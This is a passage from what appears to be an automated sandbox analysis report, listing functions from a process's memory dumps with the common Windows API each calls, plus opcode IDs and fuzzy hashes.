Instruction Fuzzy Hash: 3721A472409380AFE722CF51DC45F56BFB8EF06314F0984DBE9449B153C265A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01C7A94A

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: e6dd2b3441b98bc11429a3b69eac66ace8787df24aa17f0005777052d6d32dfc
Instruction ID: 2fb3398b01c8619f0118755718843e97a00bcf2f1b0ec1d335fd70350fe67324
Opcode Fuzzy Hash: e6dd2b3441b98bc11429a3b69eac66ace8787df24aa17f0005777052d6d32dfc
Instruction Fuzzy Hash: 4321C57140D380AFD3138B25CC51B62BFB8EF87710F1981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 021F0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 021F0DD6

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 85bfc5b3dfd94acdd9ca58826665a0af4ce29f8c789dc7705661c721beda9c5c
Instruction ID: 7cb52e43de2380366b28d1f93db04f9686e07b9d663e6df79e7260de289651c6
Opcode Fuzzy Hash: 85bfc5b3dfd94acdd9ca58826665a0af4ce29f8c789dc7705661c721beda9c5c
Instruction Fuzzy Hash: A621A1B1640200AFF760DF25CC85BA6FBD8EF08250F14846AED48DB286D776E804CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7BDBC

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 1a58c72524c471c6681dd230246a5129157665f1e10a92cb74c470d3fade970d
Instruction ID: ab56257b8a4e52380d816a700c2c42d71eb9b6e52cd6d667a47d85483f6b255b
Opcode Fuzzy Hash: 1a58c72524c471c6681dd230246a5129157665f1e10a92cb74c470d3fade970d
Instruction Fuzzy Hash: 27119D72500304EFEB21CF55DC85FAAFBA8EF04320F14896AF945DA241D671E904CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 021F0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 021F0FB0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: a32586ef02e8de3e123d12f3ff93fef7aa46a2c26fbdd384115143a9bf13e8a0
Instruction ID: 6e56602b637a9a9edd6419fed0682d0d4270132b6dcf589ef2cab37c8a033bfc
Opcode Fuzzy Hash: a32586ef02e8de3e123d12f3ff93fef7aa46a2c26fbdd384115143a9bf13e8a0
Instruction Fuzzy Hash: 70216D7154D3C09FDB12CB25DC55B92BFB4AF07224F0D84DAE9888F297D2659808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 021F13F0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 4643e4d8bf8a54a861efdfbade343f9e4363d233e2860d65f6b8922578f022ba
Instruction ID: 62078eddd2ff2e0270d0e0203429d2e3139e105aeb9f6cc348f99920801f0234
Opcode Fuzzy Hash: 4643e4d8bf8a54a861efdfbade343f9e4363d233e2860d65f6b8922578f022ba
Instruction Fuzzy Hash: E62192725483809FDB21CF25DC45B96FFB4EF06220F08849EED858B562D335A449DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7B0AE

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: d605d8f36f4bd7f5f07bbe726ff616216eb4bbfc4e724bd7c40b86e7d2dc5001
Instruction ID: c93f26c632454829e634f3897740fdc864f7c74f8b0f62a677616fc618b8bfc8
Opcode Fuzzy Hash: d605d8f36f4bd7f5f07bbe726ff616216eb4bbfc4e724bd7c40b86e7d2dc5001
Instruction Fuzzy Hash: AA1181B1600300EFEB21CF16DC85FA6FBA8EF05760F14846AED05CB251D6B4E9048B71

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01C7AB1A

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 0e94308e7adefe4ecd6503c750c4dff8bcf79348b0ebd236f06fbd093cefabc3
Instruction ID: 9102be780b496df6c6da4d43b9417104f9159428cde62d9de0d9bfac31345c21
Opcode Fuzzy Hash: 0e94308e7adefe4ecd6503c750c4dff8bcf79348b0ebd236f06fbd093cefabc3
Instruction Fuzzy Hash: A12172716053809FEB22CF29DC45B66BFA8EF46210F0884AAED49CB652D265E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01C7BB2F

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: acdabc894bc8a3e87afe84c089955cdca600807f3f4fcae19c84dbae95136dd3
Instruction ID: 35bcf9318e31de0201baa83c7a791f74d45c7d44852e962268a42592c9666eca
Opcode Fuzzy Hash: acdabc894bc8a3e87afe84c089955cdca600807f3f4fcae19c84dbae95136dd3
Instruction Fuzzy Hash: A121A1725093C09FEB128B25DC55B92BFA4EF07320F0984DBDD858F263D264A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 021F1148

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 6d5e8002cd40b8f97aedcc76979158c32e7572fe9dd1a48256f8c1f0cdeda11f
Instruction ID: 2c5f8a1b59b08f66ed83e8f82ffddb7abe718ab7ef3566f07dbbfa6340b4caa3
Opcode Fuzzy Hash: 6d5e8002cd40b8f97aedcc76979158c32e7572fe9dd1a48256f8c1f0cdeda11f
Instruction Fuzzy Hash: FF216D6140D3C0AFD7138B25DC54A62BFB4EF57620F0980DBD9848F2A3D2696808D772

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7AFBE

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 64cd9f9283d34cf53a51379b42eab4358ad75043cec86a53774a1efc1a7d10e1
Instruction ID: 76b3406418ded31f2b52708cd576207e6d14d7d79ac28b919664752154a158d5
Opcode Fuzzy Hash: 64cd9f9283d34cf53a51379b42eab4358ad75043cec86a53774a1efc1a7d10e1
Instruction Fuzzy Hash: 9F11C472500300EFEB21DF55DC45BAAFBA8EF44720F14846AED05CB281D671E904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 021F0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 021F08E5

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c7074381cbd3e0402b9256013bdbbff94c5a431e0494ff593f20d477a1ccfd00
Instruction ID: b7d9bd69f7558bbdf61b3b65a429f08d25bf43fa8d39ccd49ac2f83cb4060ae3
Opcode Fuzzy Hash: c7074381cbd3e0402b9256013bdbbff94c5a431e0494ff593f20d477a1ccfd00
Instruction Fuzzy Hash: 3B11C172500300EFFB21CF51DC45FA6FBA8EF18720F14856AEE499A246D771A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01C7BA7E

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 736c99eb6981011d3374da56f426a02a7cf17bdc2ceefa21de1c5d4e49173a7a
Instruction ID: 038bf8e907abf4bf9b1dceee879e7307d5a19faeae91012b4dec09c63876959b
Opcode Fuzzy Hash: 736c99eb6981011d3374da56f426a02a7cf17bdc2ceefa21de1c5d4e49173a7a
Instruction Fuzzy Hash: 64117F72508384AFDB22CF65DC45B52FFF4EF05220F08849EE9898B662D375E918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 021F132F

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: bf4ecb6fe51aae59636e58b117c032ee861dee439f48bb6c64d5fd7d1035e8a5
Instruction ID: 05ced609f916e4d4fee21e5b5f2feabbca304aa76e6f1f81867898ec81b18514
Opcode Fuzzy Hash: bf4ecb6fe51aae59636e58b117c032ee861dee439f48bb6c64d5fd7d1035e8a5
Instruction Fuzzy Hash: 611191715093849FDB118F25DC45B96FFA4EF06220F0984EEED498B262D375A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01C7A39C

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: ac8f07b960139135346965e1614e856af8b379bb61de748fa99a04d6de5b2c66
Instruction ID: 562b96946e59c612e84d475889a0ae762aeabf010c968d3f79a9e5f33047066e
Opcode Fuzzy Hash: ac8f07b960139135346965e1614e856af8b379bb61de748fa99a04d6de5b2c66
Instruction Fuzzy Hash: 6A118F715093C09FEB128F15DC54B62BFB4DF47614F1880CAEDC48F263D265A908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 021F0640

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 0bb5e34af111d310017b6639e9000e717ec869e4f7786ac5e0ca176507dfaab2
Instruction ID: 3ee5320978a6f5304d66fd1bfb84bcaf4a9924b9312bf40355f87eae46f99d3c
Opcode Fuzzy Hash: 0bb5e34af111d310017b6639e9000e717ec869e4f7786ac5e0ca176507dfaab2
Instruction Fuzzy Hash: 0711C2765093C09FDB128B15DC95B52FFB4DF47220F0880DBED858B663D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 021F099C

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 52052cc169a426bd74095b89d83b1e166fdfcd2e182b619594dc0c9558c45403
Instruction ID: ffacae39edd92a910787e23716e403649d83d89485e29ba905fc6904735640c1
Opcode Fuzzy Hash: 52052cc169a426bd74095b89d83b1e166fdfcd2e182b619594dc0c9558c45403
Instruction Fuzzy Hash: 2B119D715097C09FE7128B25DC55B92BFA4EF07324F0980DADD988B263D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01C7AB1A

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 940780f88c0caf2dc1b575c232d499a7d840d2df575a2b55da8ed3196d9aef34
Instruction ID: da1ad676ff7f373ccaaebcd24cc60fdbfca4d3d5510cf250b0d31e4201d9957b
Opcode Fuzzy Hash: 940780f88c0caf2dc1b575c232d499a7d840d2df575a2b55da8ed3196d9aef34
Instruction Fuzzy Hash: 2F115271600300DFEB20DF29DC85766FBD8EB15621F08846AED09CB642D6B5E504CA71

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01C7AA71

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 0efc7ce9d4095443d88a53072a652bc34bcbfb4f9a17bd982f71eda145a9b371
Instruction ID: 5ecfe480718c6fe61be0e74704d1c1e6f6049b226b006bf58ae03f1538031397
Opcode Fuzzy Hash: 0efc7ce9d4095443d88a53072a652bc34bcbfb4f9a17bd982f71eda145a9b371
Instruction Fuzzy Hash: 8111917550D7C09FD7128B15DC85A92BFA4EF03224F0980DBDD858F263D269A909DB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 021F0819

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: d63c7193a564a2a0e4489504a13e73c4f8d81fb92f005280d98f29fca62346c3
Instruction ID: 97a8a9021e33808eb7e04d59d7320b1b60c905cd6bc8a6b092c2fe36c9ac2753
Opcode Fuzzy Hash: d63c7193a564a2a0e4489504a13e73c4f8d81fb92f005280d98f29fca62346c3
Instruction Fuzzy Hash: E901C075940304EFFB209F01DC85BA6FB98DF04720F1480AAEE099A246D774A904CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 021F13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 021F13F0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 346031ee4b96060ced762ea4bd14a7302a821e95ca587b630f714497f45711e2
Instruction ID: 932eabc613a9ea917dc3f80e1c64ff3eb455ec117568160e755514d5ff36390d
Opcode Fuzzy Hash: 346031ee4b96060ced762ea4bd14a7302a821e95ca587b630f714497f45711e2
Instruction Fuzzy Hash: E111AD76600700EFEB60CF56DC85B66FBA4EF04220F0884AEEE598B652D371E408DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01C7ABC9

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 2462098d65e2ab15ca06a465113663dae7d974b9c11c276599353e32991b18fe
Instruction ID: c0971aabbda2156d145badc9e4c860ccc87218d64cd5deec5fe4aca7f9b8f9e9
Opcode Fuzzy Hash: 2462098d65e2ab15ca06a465113663dae7d974b9c11c276599353e32991b18fe
Instruction Fuzzy Hash: 3B118EB65093809FEB11CF65DC85B92BFA4EF42324F0984EBED488F253D275A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01C7BA7E

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 114deed9884194bb4fbfa5808365b28728939ba5fc64370e138b468b7cc93dc2
Instruction ID: 39c4a56cb6463fdcff22bfc4ed5f77eadbe7791b6278a40c585c705e0ae0c9a7
Opcode Fuzzy Hash: 114deed9884194bb4fbfa5808365b28728939ba5fc64370e138b468b7cc93dc2
Instruction Fuzzy Hash: 1B11A172500700DFEB21EF59DC45B52FFE4EF04321F0884AADD898A612D371E514DB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 021F01D0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 8f51033550aa53ead96d87433453794d5f1692c8eac45d9035ef2aa8bd73dcb2
Instruction ID: 69cbebbc83a2e8385dae7f5e5e5b1e879c808e6a70cf9bc0f6e7bbb6ced99f68
Opcode Fuzzy Hash: 8f51033550aa53ead96d87433453794d5f1692c8eac45d9035ef2aa8bd73dcb2
Instruction Fuzzy Hash: 9A01BC72644704CFEB50DF6ADC857A6FBA8EF05220F18C4AADD19CB646D774E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 021F109E

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: d3b592219e27ea8a2b5e8cc5b7ce4d0ec08ec672ec76dda8f79aac61b6de3369
Instruction ID: 558b9a35465cf7201b9da06281c2d5fabd927dafc9d797ea256f66920753ab53
Opcode Fuzzy Hash: d3b592219e27ea8a2b5e8cc5b7ce4d0ec08ec672ec76dda8f79aac61b6de3369
Instruction Fuzzy Hash: 32018471900600AFE350DF16DD86B66FBA8FB84B60F24816AED089B741D335F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01C7A23E

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 460b6842c87224875f81135e35ade5ea593c54424eb89b3e5f36912aef937288
Instruction ID: e592f3b68b360b3cb28c19a2507c573a440c08dcda8d562567982321ba432ef6
Opcode Fuzzy Hash: 460b6842c87224875f81135e35ade5ea593c54424eb89b3e5f36912aef937288
Instruction Fuzzy Hash: 42018471900600AFE710DF16DD86B66FBA8FB84B60F24816AED089B741D235F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 021F12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 021F132F

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: d2f92a6a5327b11f29a0b4177b6278e4a4422c01f9d8de785dc59275b92b214b
Instruction ID: 76f2a335741034c15b37a21c58b9bc24f36f16d6aab82a4f810aacd4c1a255c2
Opcode Fuzzy Hash: d2f92a6a5327b11f29a0b4177b6278e4a4422c01f9d8de785dc59275b92b214b
Instruction Fuzzy Hash: 9001DF75504340EFEF50CF15DC85BA6FBA4EF05620F08C4AADD198B652D375A404CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01C7BB2F

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: 212842ac15c09961ea733c7236cc1948ad4c11747aed9924a29e4e921b919e3d
Instruction ID: 5ebdd5738a4410c0c1f149c4121035fcdab57d452b469af4d7b29d32c7712df0
Opcode Fuzzy Hash: 212842ac15c09961ea733c7236cc1948ad4c11747aed9924a29e4e921b919e3d
Instruction Fuzzy Hash: 7001F271500300DFEB20CF19DC857A5FFA4EF05620F08C4ABDD098B656D2B5E904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 021F0502

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 4f03d62a54c7da338a379fc177748f53d451fb0f650d2ae71e1703a88af4c39b
Instruction ID: 136c5703d19bf57eb3bf45f8e6d776b169982532588e8f67ca0f038cf4014e56
Opcode Fuzzy Hash: 4f03d62a54c7da338a379fc177748f53d451fb0f650d2ae71e1703a88af4c39b
Instruction Fuzzy Hash: 9401A271900600ABD310DF16DC82B26FBA8FB88B20F24815AEC084B741D231F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 021F0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 021F0FB0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: e4d4b6d0958ddd95db04eb24342e0f10ebba1c658faf9fda72fc281a66a32ba3
Instruction ID: 25728262b0df62b6bf2f41df093d406e8e402fb43f97ed9420dab3ffe6728ad6
Opcode Fuzzy Hash: e4d4b6d0958ddd95db04eb24342e0f10ebba1c658faf9fda72fc281a66a32ba3
Instruction Fuzzy Hash: CB01DF71500300CFEB60CF15DC85B66FB94EF04620F18C0AADD188F20AD374E404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01C7A94A

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 14c0b840078b699852494e5e11783f9a494f66a8dfe7cf755b8d5550ae25df2d
Instruction ID: 0758293b825b0fa8449b420077f4be8a0f4d2e0131709f8ce0df4af1d8a58b73
Opcode Fuzzy Hash: 14c0b840078b699852494e5e11783f9a494f66a8dfe7cf755b8d5550ae25df2d
Instruction Fuzzy Hash: 2F01D671900600ABD310DF16DC82B26FBB8FB88B20F24C15AED084B741D231F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 021F060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 021F0640

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 8b9f6e4c021bf4d1feefff5b96dd2f6643cc2cdce64f39eb04a800c2a55144fd
Instruction ID: f26f516fddabb1c34a2f7202ac89c49cf91a9864f0f4d7aa16772d90f44c9808
Opcode Fuzzy Hash: 8b9f6e4c021bf4d1feefff5b96dd2f6643cc2cdce64f39eb04a800c2a55144fd
Instruction Fuzzy Hash: FC01FF75640700CFEB608F15DC85761FBA0EF49730F08C0AADE298B756D775E808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01C7ABC9

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: cfea0a15ebc7c615fdc626bc92156659e01d51a035cbef8fa0f006ba40a13849
Instruction ID: b02ec9f96b77dd7bec36212c7102e6803e62333c5123103f54a30ae48509e4d5
Opcode Fuzzy Hash: cfea0a15ebc7c615fdc626bc92156659e01d51a035cbef8fa0f006ba40a13849
Instruction Fuzzy Hash: 6001DC31504340DFEB10DF5ADC89BA6FBA4EF00220F58C4AADD088F602D2B5E504CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 021F1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 021F1148

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 40234d9c29c74ad0dbff804b8698fa9039ec535066e2120e050705608cb75248
Instruction ID: 503f3d8e36b0e611985cd74e0b2bed237bb489d9a02db46c7b05f28c44895f56
Opcode Fuzzy Hash: 40234d9c29c74ad0dbff804b8698fa9039ec535066e2120e050705608cb75248
Instruction Fuzzy Hash: 81F0FF35548740EFEB60CF15D885762FBA0EF01A21F08C0DACE184B312C375A448CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 021F096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 021F099C

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 91b19f3cb3fd74c2692696ba9d7377a3a7ad5e733f274a3b73bee25754bb7cfc
Instruction ID: 169b5982a81a1f750ec3c0b45e8afa7b0a2b01372c580c563790ab626503f3e3
Opcode Fuzzy Hash: 91b19f3cb3fd74c2692696ba9d7377a3a7ad5e733f274a3b73bee25754bb7cfc
Instruction Fuzzy Hash: F0F0FF35504700CFEB208F05D885721FBA0EF08320F08C09ACE594B31AE375A404CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01C7A39C

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
